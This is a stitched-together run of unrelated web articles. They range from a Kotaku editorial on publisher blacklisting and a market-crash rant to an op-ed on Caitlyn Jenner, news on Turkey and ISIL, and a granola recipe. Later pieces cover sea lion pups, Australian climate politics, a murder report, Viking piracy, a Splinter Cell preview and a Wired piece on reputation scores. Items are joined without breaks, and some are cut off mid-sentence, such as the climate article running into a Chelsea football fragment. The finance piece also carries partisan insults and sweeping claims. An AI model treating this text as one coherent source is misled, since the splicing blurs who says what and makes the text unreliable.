Too many big game publishers cling to an irrational expectation of secrecy and are rankled when the press shows them how unrealistic they’re being. There will always be a clash between independent reporters and those seek to control information, but many of these companies appear to believe that it is actually possible in 2015 for hundreds of people to work dozens of months on a video game and for no information about the project to seep out. They appear to believe that the general public will not find out about these games until their marketing plans say it’s time. They operate with the assumption that the press will not upend these plans, and should the press defy their assumption, they bring down the hammer. We make our own judgments about what information best serves the news value of a story, and what our readers would prefer not to know—which is why, for example, we omitted key plot details from the Fallout 4 scripts that were leaked to us. We keep covering these companies’ games, of course. Readers expect that. Millions of people still read our stories about them. The companies just leave themselves a little more out of the equation.
I’ve held my tongue in talking about Bethesda and Ubisoft publicly for a long time. I did so, initially, while trying to achieve mutual understanding with both companies behind the scenes. That failed. I prioritized covering these companies and their games as we would any other, reporting and critiquing them neither with rancor nor attempts to curry favor. I trusted that in time it would be appropriate to loop readers in.
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In recent weeks, readers have asked questions. They’ve wondered why I, someone who has enthusiastically covered Assassin’s Creed games for years, didn’t review the most recent one. They’ve wondered why we didn’t seem to be subject to Fallout 4 embargoes of embargoes and why we didn’t have a review of that game on the day it came out. In both cases, we managed some timely coverage because Ubisoft and Bethesda did send review copies of their games to one of our remote freelancers, presumably with the hope he’d cover them for the other main outlet he writes for, The New York Times. Make no mistake, though, their efforts to shut out Kotaku have been unambiguous. Our colleagues across the world in Australia and the UK have been met with the same stony silence. Representatives from both publishers did not reply to requests to share their perspective for this story. Points for consistency.
For the better part of two years, two of the biggest video game publishers in the world have done their damnedest to make it as difficult as possible for Kotaku to cover their games. They have done so in apparent retaliation for the fact that we did our jobs as reporters and as critics. We told the truth about their games, sometimes in ways that disrupted a marketing plan, other times in ways that shone an unflattering light on their products and company practices. Both publishers’ actions demonstrate contempt for us and, by extension, the whole of the gaming press. They would hamper independent reporting in pursuit of a status quo in which video game journalists are little more than malleable, servile arms of a corporate sales apparatus. It is a state of affairs that we reject.
Kotaku readers always deserve the truth. You deserve our best work. It doesn’t matter which company is mad at us today, or which companies get mad at us in the future. You’ll continue to get it.
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To contact the author of this post, write to [email protected] or find him on Twitter @stephentotilo.We can solve this panic. And finally the developed world’s finance ministers are meeting under enormous pressure because markets are in "freefall" according to traders. For those of you who slept well last night, here is what happened. At the open of Tokyo’s stock exchange, the market dropped straight down almost 10%. It then wallowed the rest of the day. This patten was repeated in Europe. Stock prices "rolled off the table." Tokyo ended down 10%, to almost where it fell just before the Iraq War. European markets rolled off the table, and rebounded, right now down around 5%.
It was clear to economists like James K. Galbraith and Paul Davidson, that the solution was not in the realm of high finance, but in the underlying mortgages. Only when there is a bottom to the basis of money, which in our case is assets like houses, will there be a true bottom to the market and the economy.
It is not that "people could not pay back their mortgages," because default rates are high, but not unbearably so. It is that because of the crash in real estate, when someone did not pay back their mortgage and the bank foreclosed, the bank could not get the value of the mortgage back, and it took a long time to sell, or it was forced to take a bigger loss. Blaming a few poor borrowers who were robbed by banks is something that only people in Wingnited States of Nutmerica can believe for long. It was the credit bubble, not the foam, that brought this on.
Paulson has dithered, a point not lost on Dean Baker, who has heroically spoken truth to power about the emptiness at the core of the bail out proposal. Instead, the global consensus is to recapitalize. Paulson may finally be seeing the light. But he is going to have to step up to the plate.
This is a deep mess, because ultimately it rested on trying to print paper to buy oil, and then consume the oil present, rather than investing in the post-oil future. We ate the seed corn, and that decision was made in 1979 and 1980, when Thatcher and Reagan came to power. They thought of themselves as sane, but now, we see, that their world has gone mad. And Ben Bernanke, who is earning the nickname "Captain Carnage," and Hank Paulson, while they are to blame for the final blunders, were merely executing on a plan that came from the White House to try and get oil the old fashioned way: steal it.
This then, is the balloon payment on the Iraq War, and the final cost of 2000’s grand theft: election.When I heard Caitlyn Jenner was coming out as trans, I was optimistic. I hoped her celebrity status could bring visibility to trans people. However, my excitement was also marred with caution. I was concerned a rich, white, famous, former Olympian who had described herself as "conservative" would become the spokesperson of the trans community.
As it turns out, my skepticism was entirely warranted. Recently, she said she supported Ted Cruz for president. Ted Cruz is one of the most virulently transphobic politicians in the U.S. today. He has said supporting trans students is lunacy. When asked about an incident in which a young trans woman used the women's room at her school he said, "inflicting him on the teachers is better than sticking him in the shower with teenage girls." Back in November, he spoke at a conference run by a pastor who wanted all LGBT people put to death.
The queer community is not the only group he has vilified. He stated he was, "proud to stand with Donald Trump," after Trump described Mexicans as criminals and rapists. He has bashed Muslims under the guise of protecting national security. He has accused #blacklivesmatter of "celebrating the murder of police." Basically, Ted Cruz has demonized everyone who is not white, cisgender and straight.
None of this seemed to matter much to Ms. Jenner. She described him as "very nice" and said he was a "very articulate man." But it wasn't just that she supported someone as utterly disgusting as Ted Cruz. It was how she did it.
She admitted Ted Cruz was "probably one of the worst ones when it came to trans issues." But she went on to say,"if we don't have a country, we don't have trans issues." Trans people have had a long history of having our needs placed at the bottom of political priorities. Time and again, trans people have been thrown under the bus, even by our own "community" because it was politically convenient. In her statement, she added to this long history of exclusion, that trans people once again should wait to push for their rights.
Her statement did not end there. She went on to say that, "we need jobs. We need a vibrant economy. I want every trans person to have a job. With $19 trillion in debt and it keeps going up, we're spending money we don't have. Eventually, it's going to end. And I don't want to see that. Socialism did not build this country. Capitalism did."
The idea that Ted Cruz will somehow help trans people find employment is hopelessly naive at best and completely tone-deaf at worst. Plus, it isn't a bad economy that makes trans people unable to find employment, it's workplace discrimination. The fact that she could even think that an economy under Ted Cruz would be good for trans people speaks volumes about how little she actually knows about the trans community.
Despite being hailed as the spokesperson for the trans community by the media, supporting Ted Cruz is not the first time she has done something questionable. She has opposed welfare for unemployed trans people despite the fact that many trans people rely on social programs to survive. Additionally, back in December, she told Time Magazine that,"if you look like a man in a dress, it makes people uncomfortable." The implication of this statement is clear: if a trans woman is the victim of transphobia, it's her fault for not looking cis enough. Furthermore, when speaking to the UN, she claimed that she was, "pretty comfortable with the issues here in the United States." She said this despite the current epidemic of violence against trans women of color and the absolutely dismal state of trans rights in the US. These are just a few examples of her problematic discourse.
The reason why she says these things is because of her privilege. Her wealth, her celebrity status and her whiteness shield her from the daily struggles of most trans people. She will never be fired for being trans. She will never have to worry about being evicted from her home for being trans. And she will never have to worry about getting murdered for being trans. If Ted Cruz becomes president, her privilege will mean that her life would probably not change much. Many others could not say the same thing.
To be fair, Caitlyn Jenner has acknowledged that her being rich and white gives her an advantage most trans people don't have. But acknowledging your privilege doesn't mean anything if you don't let it shift your worldview. And her worldview has clearly not changed.
Endorsing Ted Cruz is, yet another example of her failure to look beyond her own experience as a rich, white woman. She is clearly not at all a good spokesperson for the trans community. Unless she learns to understand her own privilege, she will ultimately do more harm than good.Is Turkey toughening its position against ISIL? Yesterday marked three important developments in areas related to the fight against the Islamic State of Iraq and the Levant (ISIL). First, the Turkish Foreign Ministry announced that months-long talks between Ankara and Washington to train and equip the moderate Syrian oppositions have been finalized and have yielded a draft of a memorandum of understanding (MoU).
Spokesperson Tanju Bilgiç informed reporters that the MoU will be signed in the coming days and training will likely begin in March, although he did not give an exact time for either signing the document or the start of the program.
The program envisages the training and equipping of a total of 15,000 Syrians in Turkey, Jordan and Saudi Arabia over three years. The program is seen as part of an international campaign against ISIL jihadists who occupy a considerable amount of territory inside Syria, but they will also undertake the mission of toppling the Bashar al-Assad regime - though this is not regarded as the primary objective at the moment.
Turkey and the U.S. have been talking to sort this deal out since last autumn, but the process was extended due to major disagreements between the two parties. The main point on which the two allies were thinking differently was the priority of such a campaign, with Turkey putting the ouster of al-Assad as the primary target and the U.S. describing ISIL as the biggest threat to the Middle East.
The second important development was the news that Turkey’s top soldier, Chief of General Staff Gen. Necdet Özel, was to represent Turkey at an important security meeting to be held in Saudi Arabia with the purpose of coordinating the joint military campaign against ISIL. The meeting comes right after Jordan and Egypt launched their own aerial bombardment campaign against ISIL positions in Iraq-Syria and Libya, respectively.
Different from almost all regional and Western countries, Turkey is hesitant about getting involved in the military campaign - directly or indirectly - against ISIL, despite strong pressure from its main ally, the U.S. Turkey has made clear that it will not allow its allies to use its military bases and air space against the jihadists unless they prioritize the toppling of al-Assad. It was in this framework that General Özel decided to send a lower ranking military officer to a security meeting in Washington in recent weeks, sparking questions over Turkey’s willingness to fight against ISIL. That is why Özel’s decision to attend a similar meeting in Saudi Arabia is worth looking into further.
The third piece of news is that Turkey will be represented at the White House Summit on Countering Violent Extremism that is set to take place today in Washington D.C., with Defense Minister İsmet Yılmaz in attendance. In recent weeks, the government was planning to assign Interior Minister Efkan Ala to attend this summit, but its decision has obviously changed.
The Washington summit follows the fatal Paris and Copenhagen attacks, revealing the importance of dealing with foreign fighters recruited by extremist organizations but returning to their home countries to carry out terrorist attacks. Turkey’s high-level participation in the summit is an important development to convince the world that Ankara is not reluctant on such issues, and it has the potential of being targeted in such terrorist attacks.
It’s too early to judge whether Turkey is shifting its inactive position against ISIL, but all these developments indicate a certain mobilization on Turkey’s side. However, it’s obvious that Turkey needs to do more to break the growing global perception that it tolerates ISIL’s operations along its border, in return for ISIL not causing much trouble inside Turkey.I’m a granola making virgin. I know, I know, it’s blasphemous for someone who has gone to culinary school to have never made Granola. Truth be told, I’ve always just found it easier to buy granola since I only feel like having it maybe one or twice a year. In Singapore, they sold a bunch of awesome Granola varieties from America, but sadly, in Australia, people seem to prefer Muesli. Shelves in the grocery store are bursting with a million different kinds of Muesli, aka a million kinds of yuck. I abhor Muesli. It’s dry, flavorless, and tastes like cardboard. So a girl’s gotta do what a girl’s gotta do in a world full of Muesli – make her own Vegan Granola.
Since I was the master of my own Granola, I had to make sure that the Vegan Granola I made had nice, big clusters scattered throughout. I mean, what the f*ck is Granola without clusters? Granothanks! Grafu*kno! I achieved this by grinding half of my Rolled Oats into Oat Flour, and using a mixture of both Brown Sugar and Maple Syrup to sweeten. I find that when it comes to oaty treats, liquid sweeteners alone tend to make oats a little chewy and hard…something you definitely do not want in your granola clusters. Using half brown sugar solves this problem, so try this trick with any Granola, I guarantee you’ll end up with a clusterfu*k of goodness.
I start off by combining my Rolled Oats, Oat Flour, Pumpkin Seeds, Sunflower Seeds and Split Almonds in a large mixing bowl. I then bring some Brown Sugar, Maple Syrup, Vanilla Bean Seeds, Water and Canola Oil to a boil in a small saucepan and then pour it all over the Oat mixture. Stir well, spread onto a large baking tray and bake away! You can always substitute Coconut Oil for Canola Oil if you want, but for god’s sake, do not use applesauce or fruit puree instead of oil. Granola needs a little oil, trust me on this. It’s what helps your oats crisp up – something fruit purees just cannot do. Don’t try it, please!
This recipe for my Vanilla Almond Vegan Granola requires you to mix your granola once, half way through baking to break the clusters up. I just chucked it into the oven on a low temperature, watched a TV show for half an our, went back to the oven to stir, had my monthly shower and hey presto, the granola was done! All in all it took about an hour to bake and made 8 cups of clustery Granola goodness. PS: If you’re really pressed for time and looking for a recipe that doesn’t require any stirring at all, check out my friend Georgia’s Maple Sesame Seed Vegan Granola recipe – another Granola winner.
So, the most important bit: the final result. My Vanilla Almond Vegan Granola was absolutely fan-fu*king-tastic. Crunchy, light, perfectly sweetened and full of texture from the Almonds, Sunflower Seeds and Pumpkin Seeds, you’ll be shoving handfuls of this Vegan Granola down your face. You won’t be able to stop. You’ll eat the entire pan at once, though I don’t recommend it. Eating 8 cups of anything will make you feel ill. I enjoy eating my granola with a little almond milk and fresh blueberries, but that’s just me.. As always, scroll down for more photos and the full recipe for my Vanilla Almond Vegan Granola. Cheers, mofos.This malnourished juvenile sea lion pup was rescued by the Marine Animal Rescue on April 5, 2013 in the San Pedro area of Los Angeles, California. Kevork Djansezian/Getty Images Young California sea lions have been struggling for years. In 2015 alone, thousands of emaciated pups washed ashore, overwhelming rescue efforts.
Researchers have been searching for clues on the pup's demise ever since and now, they may be one big step closer to understanding its source.
In a new study published March 2 in the journal Royal Society Open Science, scientists have found that the emaciated pups are suffering because their mothers aren't eating enough high-quality food.
And while the team is not entirely sure what's bottoming out their nutrition, they think it's a trend that is unlikely to reverse itself any time soon.
California sea lions have been in a bad place for a while, but their situation has reached epic proportions in the past year.
In the six months between January and June 2015, an unprecedented 3,000 emaciated and starving sea lion pups washed up onto California's beaches. By the end of that year, the Marine Mammal Center in Sausalito near San Francisco had counted a staggering 4,200 stranded California sea lions— the worst the center has seen in their 40-year history.
Scientists have scrambled to understand why these pups are declining in droves while conservation centers care for the thousands they've taken in.
The new study suggests that their poor health is a result of their mothers eating the oceanic equivalent of "junk food," as Discovery News calls it.
Sea lions eat a wide variety of fish and squid, but not all food items stack up equally on their food pyramid. Sardines and anchovy pack the biggest nutrition and calorie punch, whereas rockfish and squid are the cheaper, less-preferred snack.
Think of sardines and anchovy as the eggs and avocados of the sea lion food world, whereas rockfish and squid are the less wholesome breads and pastas.
Sick and malnourished sea lion pup named Tough is anesthetized for an examination at the Marine Mammal Center on February 24, 2015 in Sausalito, California. Justin Sullivan/Getty Images
Scientists have noted in the past that when these species of fish go through natural environmentally-driven fluctuations, so does sea lion health.
During the El Niño of 1982 to 1983, for example — which is a natural ocean-warming weather phenomenon— sea lion births and birth weights declined while the number of pup deaths increased.
After analyzing a decades-worth of data on the availability of forage fish in California sea lion habitats, the team found that sea lion mothers are being forced to eat less nutritious rockfish and squid because higher-calorie sardines and anchovy populations have nosedived.
Warmer-than-normal waters in the Pacific Ocean in the past two years, which have worsened due to the present El Niño phenomenon, is a big offender. The prevailing theory has been that the California's sea lions' preferred prey are swimming north to cooler waters.
But while this new study suggests that limited sea lion food for nursing mothers is linked to warmer waters, that's likely not the only culprit.
Despite their current struggle, California sea lion numbers have exploded in the past 40 years — growing from a population of 50,000 to 340,000. With more sea lions hunting for food, their prey become more scarce.
Michael R Perry/Flickr
The study doesn't conclude what exactly is causing this dip in availability of nutritious food, but it's likely a combination of multiple factors in the environment, including warmer waters, fishing impacts, and sea lion population growth.
And unfortunately for the sick pups, this downward trend probably won't right itself in the near future, the authors noted in the paper.
"In the near term, we expect repeated years with malnourished and starving sea lion pups," they wrote.A Cornish company has received interest from around the world for its novelty wedding vending machine.
Autowed is an 8ft (2.4m) tall pink machine compared by the makers to "a parking meter mixed up with a Cadillac".
But it has caught the imagination of people around the world after a video was posted on the internet.
Requests for machines have come from as away as Russia and Brazil, Falmouth-based inventor Concept Shed said.
For £1 it plays a specially composed intro version of the Wedding March and asks customers to select their type of union. Bride and groom have the option of pressing one on a keyboard for "I do" and two for "Escape".
Purchasers get a wedding receipt and two plastic rings in an egg-shaped plastic capsule.
Previous inventions by the Cornwall firm include an animatronic Frankenstein's monster.DSI officials attach a seizure document to a Rolls-Royce car at a showroom in Bangkok on Wednesday. (DSI supplied photos)
The Department of Special Investigation (DSI) has impounded another 38 luxury cars at showrooms in Bangkok, including the Siam Paragon shopping centre, on suspicion of tax evasion.
DSI director-general Paisit Wongmuang said on Thursday officials searched seven showrooms on Wednesday and seized 38 vehicles of five brands: Maserati, Rolls-Royce, Aston Martin, McLaren and Ferrari.
DSI also seized documents from the premises for examination of how they were imported and if all tariffs had been properly paid, he said.
The seven showrooms included Ferma Motor Co in Laksi district, Master Group Corporation (Asia) in Wang Thonglang district, Millennium Auto and nearby Rolls-Royce Motor Cars Bangkok in Bang Kholaem district.
The others were the showrooms of Maserati, Rolls-Royce and Aston Martin at Siam Paragon in Pathumwan district.
Pol Col Paisit said that on May 18 the DSI seized 122 luxury cars at nine locations of Niche Cars Group, and found the state lost 2.4 billion baht in evaded tax. The price of each car was declared at up to 40% of the actual price, and the evaluated tariff was 10-18 million baht below the actual rate.2010 in Policy Share This:
Throughout 2010, Sunlight’s issues have sat at the core of our national politics.
In January of last year, the Open Government Directive was just starting to be implemented, and President Obama called for earmark transparency and lobbying disclosure in his State of the Union Address. The Supreme Court undid decades of settled campaign finance restrictions, and the country was arguing about public negotiations for the then-embattled heathcare bill.
Those fights, and others like them, have continued through the year, and Sunlight’s policy work has been at the center of them.
Lobbying disclosure reform found a legislative vehicle in the updated Transparency in Government Act (among many other issues), just as the Obama administration expanded its self-imposed lobbying disclosure policies for TARP, the stimulus, and the Dodd-Frank financial reform bill.
Working with Rep. Steve Israel and Sen. Jon Tester, the signature Public Online Information Act was introduced in both chambers this spring. It redefines “public information” by requiring that any government information currently required to be available to the public be posted online, and sets forth better technology coordination between the branches of government to achieve that overarching goal.
Our Hill efforts also helped spur the creation of the Congressional Transparency Caucus, and the Advisory Committee on Transparency, which are both bringing substance to transparency reform in Congress.
While the DISCLOSE Act ultimately fell prey to obstruction in the Senate, Sunlight helped craft an initial response to the Citizens United decision, and pushed successfully for better data transparency to be added to the bill. Sunlight’s suggested amendment to the DISCLOSE Act may have been the most bipartisan, consensus driven aspect of the entire legislative response to Citizens United.
Even if the DISCLOSE Act is dead for now, we’ll be vigorously pursuing this and other remedies to undisclosed spending in our elections.
The end of 2010 is bringing a number of transitions for our policy work. Obama’s Open Government Directive is at a crossroads (like other similar policies), and the changing majority in the House brings new opportunities for change (a 72 Hour Rule!), just as the outgoing majority brought their own new opportunities for transparency.
The Earmark Transparency Act finally got its hearing, and was reported out of a Senate committee. While it untimately failed to pass in the 111th Congress, the idea of a single, searchable database of earmark information is fully ripe, and enjoying a growing consensus of support.
Rep. Foster introduced a bill that would force THOMAS data into public, in bulk — a perennial issue we’ve fought for unsuccessfully. Legislative information continues its slow process toward being broadly, usefully, reusably and electronically public.
Even though we’re not sure what the new year will bring, we do know what where our efforts will be focused — bringing openness to government at all levels, helping to make online disclosure of our government a reality.
Whether it’s by celebrating the newly announced House Rules changes, and systematically working through the additional changes that should be implemented, or advocating for broader access to congressional video, or making sure that all bills are online for 72 Hours before their floor consideration. Or whether we’re pushing the Executive branch and the Presidency to pursue the mature, reliable, aggressive policies necessary for a truly open and accountable government…
Sunlight’s policy work will be bringing our government into the sunshine.
If it’s anything like 2010, it’s going to be an amazing year.LNP backbencher says he and most of the Nationals won’t vote for any clean energy target that penalises coal
The LNP backbencher George Christensen has signalled he won’t vote for a new clean energy target because it won’t end the decade long climate wars – because Labor will “out Finkel us on Finkel”.
Christensen said on Wednesday evening that he saw no prospect of achieving policy stability on climate and energy policy through bipartisanship, because the gulf between the major parties was too wide.
“Given the history of climate policy in this place, given we’ve got the Labor party pushing 50% renewable energy targets... given we’ve got some Labor MPs talking about no more coal-fired power at all – how are we, honestly, going to have policy stability?” the outspoken MP told Sky News.
Finkel's target boosts coal industry and does little to cut emissions, modelling shows Read more
Christensen said he had no intention of voting for a clean energy target that penalised coal and neither would the bulk of the National party. “I’m out. I won’t support that”.
He said that, rather than legislating a clean energy target, the government would be better off building high-efficiency coal-fired power stations to replace the ageing coal fleet. Christensen contended that approach would reduce carbon pollution.
The backbencher’s public declaration of opposition follows an extraordinary Coalition party room meeting on Tuesday night in which government MPs ventilated their concerns about the Finkel review, which recommends introducing a clean energy target to deliver policy certainty for investors and reduce emissions.
Senior government sources maintain there is a viable pathway through the Coalition’s biggest internal battle in climate policy since 2009, pointing to support for the Finkel framework at the cabinet level and a widespread acknowledgement in the party room that business as usual is unsustainable.
But other MPs believe the chief scientists’s blueprint will not emerge unscathed from the government party room. One MP told Guardian Australia on Wednesday that, given all the internal cross currents, it would be “very dangerous” of the prime minister to bring Finkel forward without substantial amendment.
The former prime minister Tony Abbott – who was a vocal participant in the special party room meeting, and floated the desirability of the government buying the Hazelwood power station – continued his public critique of the Finkel review on Wednesday afternoon.
Abbott said the “problem” with the review was it was “all about reducing emissions”. He said Australia did not need to conform with the commitments he made as prime minister in the Paris climate accord if those commitments “clobbered” power prices.
Coal dinosaurs arguing against the Finkel review clearly don't understand it | Michael Slezak Read more
He said the mood in the party room on Tuesday night was one of “robust common sense” and the Coalition did not want to engage in “green posturing”.
Labor has signalled it is prepared to be constructive in dealing with the government on the Finkel review but it argues a clean energy target |
ford are hoping to convince Mourinho of their value with the Portuguese aware he needs to promote from the academy ranks to fill the gaps in his squad after the departures of David Luiz, Demba Ba, Ashley Cole, Frank Lampard and Tomas Kalas.
While Fabregas will count as a "home-grown" player under UEFA regulations, Chelsea's Champions League squad is likely to be short of the 25-man maximum, with Romelu Lukaku, Victor Moses, Ryan Bertrand and Josh McEachran all likely to go by the end of the transfer window.
Mourinho added: "We don't want a squad of only ended products.
"We also want to bring to the first team, three or four under-21s. We are going to develop players and are happy with this balance we have."if you enjoyed the TV series Sherlock, you'll enjoy bringing back some memories from the 3rd series with this album
although i prefer the album to series 2, this album does have some memorable tracks.
track 1 - how it was done? well we all know now don't we, track 9 - Lestrade a nice motive theme, track 11 - stag night well all i can say is how quick did Sherlock and Dr Watson take to get drunk, and then the crime scene afterwards a weird but great track. track 12 - mayfly man, is a haunting melodic theme, track 15 - Magnussen - the bad guys theme, track 19 addicted - was Sherlock undercover or really addicted, this is a nice theme, track 21 Appledore - a great theme for the bad guys hide out, these are some of my favorites however the rest are growing on meInvestigators at the scene of a fatal shooting of Aniya Parker Thursday Oct. 2, 2014 in East Hollywood.
A $50,000 reward for information in connection with the fatal shooting of a transgender woman in East Hollywood was announced Friday, in an effort to encourage anyone who may know the identity of her attackers to come forward.
Aniya Parker, 47, was murdered in what police described as a “robbery gone bad” Oct. 2, and her fatal shooting was caught on video from a nearby business’ surveillance camera.
After a struggle for her purse, she was shot in the head on Melrose Avenue near the 600 block of North Kenmore Avenue around 2:30 a.m.
Police also said they are looking for a companion who was walking with Parker shortly before the altercation.
$50,000 Reward Offered For Information in Transgender Woman's Murder
The City of Los Angeles is offering a $50,000 reward for information leading to the arrest of Aniya Parker in East Hollywood. Patrick Healy reports from Downtown LA for the NBC4 News at Noon Oct. 10, 2014. (Published Friday, Oct. 10, 2014)
"We're searching for a witness who appears to have been walking with Aniya shortly before the crime," Capt. Brian Pratt.
Video showed the two would-be robbers walked in front of Parker and waited by a vehicle just before the struggle for her purse. The attackers are seen confronting Parker, shooting her and then running away.
Parker was taken to L.A. County-USC Medical Center, where she died in surgery.
Parker had a "heart of gold," according to a GoFundMe donation page set up to help the family to transport Parker's body to Arkansas.
Her sister, Adrian, spoke of the family's grief Friday morning.
"I don't understand how... people could do such a mean and a cruel thing. And if I could say anything to you today it would be if you would just turn yourself in. Help us to bring closure to what is going on, we just want to know why. We just want to know why. We didn't get a chance to say goodbye," she said through tears, surrounded by family.
Police have said the attack appears to be random and not specifically targeting a transgender woman, although some LGBT community members said her killing is still of particular cause for conern.
"It's really, really frightening for all of us especially out here on the streets," Karina Samala said.
The attackers are described as two or three men in their mid-20s, LAPD said.
Toni Guinyard, Conan Nolan and Jonathan Lloyd contributed to this report.Sitting in thrones. Brokering powerful alliances. Engaging in pomp and circumstance. Conducting pirate raids? One of these things may not seem like the others, but in fact all four were things that would have seemed familiar to Denmark’s earliest kings. As ScienceNordic’s Stine Rendrup Johansen reports — pirates actually founded Denmark.
Johansen writes that looting and piracy were the basis of the earliest Danish kings’ power. After all, the years between 800 and 1400 were the time of the Vikings. Medieval historian Thomas Heebøll-Holm tells Johansen that pirate raids weren’t just a method of robbing — they were also a means of “conventional warfare or revenge” for early Danish leaders.
“Essentially, Viking raids between 800 and 1000 CE funded the building of a Danish royal power,” Heebøll-Holm tells Johansen. Viking pirates used expeditions and pirate-approved methods to struggle for power, unite their own warriors and fund their ongoing activity, Johansen reports. In the future, Heebøll-Holm hopes to gain a better understanding of just how piracy affected things like laws and norms around the monarchy.
In case you’re still skeptical about the power of the pirate in days of yore, here’s a sobering description of the impact of Viking pirate raids. Stefan Eklöf Amirell and Leos Müller write that Viking pirates acted “as catalysts for political change and dislocation across Europe.” In ninth-century England, they write, “every kingdom but one was destroyed and up to half the country was occupied by Viking forces.” The Kingdom of Frankia had it even worse, they write, with 14 percent of the entire economy surrendered to Vikings. “Whole regions are recorded as ‘laid waste’,” they write, “and thousands were killed and enslaved.”
(h/t mental_floss)Today we’re taking a look at Ubisoft’s Splinter Cell Blacklist which following on from the previous game Conviction takes a step forwards, and more importantly a step backwards in terms of introducing some of the slower paced gameplay from earlier games in the series.
Part 2 a look at Ghost gameplay can be viewed here.
Text version:
The stealth aspects have been well adapted here in that the gameplay provides players with the three well publicized methods of approach. What’s neat is setting player goals and sticking to it, or adopting a more adaptive approach that reacts to the situation Sam is in at the time. There’s always, an option for escape despite the game being quite tough once the bullets begin to fly.
Looking at the stealth, and there are two methods of approach, The Panther and Ghost. Both are similar in terms of utilizing the light and dark aspects of the environment to move about unseen and scout an area – the difference being that Panther relies on taking out enemies undetected, whilst Ghost means no interactions at all.
When playing either style, it has been relatively easy in the past to stick to the shadows and accomplish ones goals, safe in the knowledge that the dark provides an almost absolute safety zone. While in Conviction this became far less usable due to patrolling guards carrying flashlights, Blacklist throws in some additional challenges for the player. DOGS!
The canine companions are on full show in Blacklist, and whilst there isn’t one of every corner – thank the heavens – when they do appear, they become the greatest threat to any player adopting stealth approaches. Let’s take a look at various Dog scenarios where they play a pivotal role in the enemy defense.
Firstly, the dogs don’t necessarily have to see Sam to arouse suspicion. One whiff of a foreign scent and the barking begins. This is a warning and means Sam needs to move as the dog is now tracking. The range of the dog isn’t massive, but once Sam is detected it’s challenging to shake off as the dogs will follow- even if the guards give up. The Dogs audio alert informs any nearby guards that something is amiss, who then enter an alerted state and investigate. For those simply camping in the shadows, being dog discovered is bad news and in our experience the beginnings of being caught out – there goes the ghost bonus!
Secondly Dogs pose the problem of getting in the way and causing trouble, to the extent that if there’s no higher ground or opportunity to sneak past, the only option is to take the dog out of the equation. This can be accomplished with a well placed sticky shocker or even gas grenade, but the resulting unconscious pooch will rouse suspicion if discovered by a patrolling guard. Whilst bodies can be dumped in strategically placed containers – of which there are very few and only hold one body, when there’s none around a dark corner has to make do. So, when tackling dogs players somehow have to make sure the body is hidden at the location of being shot, or simply moved somewhere – creating a little more risk.
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PrintThis article was taken from the September 2012 issue of Wired magazine. Be the first to read Wired's articles in print before they're posted online, and get your hands on loads of additional content by subscribing online.
Imagine a world where banks take into account your online reputation alongside traditional credit ratings to determine your loan; where headhunters hire you based on the expertise you've demonstrated on online forums such as Quora; where your status from renting a house through Airbnb helps you become a trusted car renter on WhipCar; where your feedback on eBay can be used to get a head-start selling on Etsy; where traditional business cards are replaced by profiles of your digital trustworthiness, updated in real-time. Where reputation data becomes the window into how we behave, what motivates us, how our peers view us and ultimately whether we can or can't be trusted.
Welcome to the reputation economy, where your online history becomes more powerful than your credit history.
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The value of reputation is not a new concept to the online world: think star ratings on Amazon, PowerSellers on eBay or reputation levels on games such as
World of Warcraft. The difference today is our ability to capture data from across an array of digital services. With every trade we make, comment we leave, person we "friend", spammer we flag or badge we earn, we leave a trail of how well we can or can't be trusted.
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An aggregated online reputation having a real-world value holds enormous potential for sectors where trust is fractured: banking; e-commerce, where value is exponentially increased by knowing who someone really is; peer-to-peer marketplaces, where a high degree of trust is required between strangers; and where a traditional approach based on disjointed information sources is currently inefficient, such as recruiting.
Joel Spolsky and Jeff Atwood, programmers and influential bloggers, saw the window of opportunity to reinvent the way people found jobs through online reputation a few years ago. "Traditional wikis and Q&A platforms drove me crazy," Atwood says. If you had questions, say, on Chrome extensions, double pointers or Tiny Pixels, "you had to wade through endless conversations that went in every possible
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direction and where no comment is more or less important than the previous one. We realised there was a need to optimise the way people got answers, to unearth the little gems buried among a lot of dreck." The way to solve this seemed obvious to Atwood. "Have people vote on the best answers, and rank answers," he says.
In September 2008, Atwood and Spolsky launched Stack Overflow. A sort of Digg meets Wikipedia meets eBay, it is a platform for programmers to post detailed technical questions and receive answers from other programmers. "As soon as I touched it, I was hooked," says Marc Gravell, a 33-year-old user based near the Forest of Dean, who, with more than 315,000 points, has the site's second-highest reputation score. Stack Overflow reports more than 24 million unique visitors a month and around 5,500 questions are submitted to the site every day.
Voting on and editing questions are just two ways in which users can earn reputation points on Stack Overflow. "Reputation is earned by convincing your peers that you know what you are talking about," Spolsky says. "The reason why the site is 100 per cent spam-free and that around 80 per cent of all questions get answered is entirely a function of the community. The way we do that is as you earn more reputation points, you get more powers on the site."
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Shortly after the site launched, Atwood and Spolsky heard that programmers were putting their Stack Overflow reputation scores on their CVs, and headhunters were searching the platform for developers with specific skills. "A CV tells you what schools they went to, what companies they worked for and how well they did on a standardised test when they were teenagers," Spolsky explains. "But if you read the writings of someone on Stack Overflow, you immediately know if they are a skilled programmer or not." In February 2011, Stack Overflow launched Careers 2.0, an invitation-only job board where companies can find skilled programmers.
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Stack Overflow demonstrates how a person's reputation score created in one community is starting to have value beyond the environments where it was built. By answering questions in an expert forum, you create more opportunities to find a better job.
Reputation information can also be used to look forward rather than back -- for instance, using past actions to work out the likelihood of someone honouring an agreement in the future, which could be particularly useful in the financial services industry. "Any kind of business based on credit has to take into account people's ability to repay and their propensity to pay," says Errol Damelin, founder of Wonga, the online short-term cash lender (Wired 06.11). "Even when they are able to repay, will they or won't they? It's a totally different question. That's when reputation really comes into play." Wonga claims to crunch on average 8,000 pieces of data to get a sense of how trustworthy its applicants are.
Brett King, author of Bank 2.0 and founder of New York-based banking startup Movenbank, founded in 2010, agrees with Damelin. "Credit scores are a lagging indicator -- they only look at what has happened in the past," he says. "They [credit agencies] don't use data to look into whether your behaviour is risky or not now."
Movenbank's goal is not just to use technology to personalise the banking experience, but to reinvent the traditional risk model. King spent more than 18 years working for traditional banks and was struck by the opacity of much of the credit assessment process. "Most banks reject around 50 per cent of credit applications. It's a pretty strange business when you reject half of your potential customers and don't even tell them why."
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At the heart of Movenbank is a concept call CRED. This takes into account an individual's traditional credit score but also aspects such as their level of community involvement, social reputation and trust weighting. Do they have a good eBay rating? Do they send money peer-to-peer? It also measures their social connectivity -- how many friends do they have on Facebook? Who are they connected to on LinkedIn? Do they have an influential Klout score? It combines this data, not just to assess their risk, but to measure the potential value of the customer. If you refer other customers from your network or pay your bills on time, your CRED score will go up. "It's not about your credit, but your credibility," King says.
